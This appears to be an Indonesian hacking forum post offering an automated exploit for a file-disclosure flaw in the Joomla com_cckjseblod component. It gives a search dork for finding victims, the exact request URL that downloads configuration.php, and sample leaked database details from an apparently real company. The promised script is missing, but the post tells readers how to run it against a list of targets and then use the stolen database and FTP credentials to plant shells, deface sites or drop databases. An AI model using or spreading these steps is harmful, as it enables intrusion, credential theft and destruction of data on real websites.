Auto Exploit Joomla com_cckjseblod LFD PHP

Default Dork:
inurl:option=com_cckjseblod

Link vuln:
www.site.com/index.php?option=com_cckjseblod&task=download&file=configuration.php

PoC:
var $dbtype = 'mysql';
var $host = 'localhost:3306';
var $user = 'star-_nice_mz';
var $db = 'star-pk_StarDB';
var $dbprefix = 'jos_';
var $mailer = 'smtp';
var $mailfrom = 'noreply@xxx.com';
var $fromname = 'Web Master, Star Marketing Pvt. Ltd.';
var $sendmail = '/usr/sbin/sendmail';

Script Auto exploit :



Cara penggunaan :
website target masukin ke file .txt terus save script d atas .php (skrip ama list target hrus 1 folder/taruh desktop ja biar mudah)
Run cmd: php sekripmu.php list.txt

Cara eksekusi target :
Auto exploit d atas auto get info db ama ftp. nah biasanya bwat yg awam psti bingung gmna cara tanem shell/mepesnya.
Misal lu dapet db, tinggal masukin detail db ke tool Adminer trus login..
Misal dapet ftp account, lu tinggal konekin lwat FileZilla/Core FTP..
Misal dapet db ama ftp lngkap, y trsrh mw lu apain drop db? depes? trsrah lu

dah gtu ja. smoga brmanfaat :)

NGGAK BISA RUN FILE .PHP DI CMD WINDOWS? MASUK SINI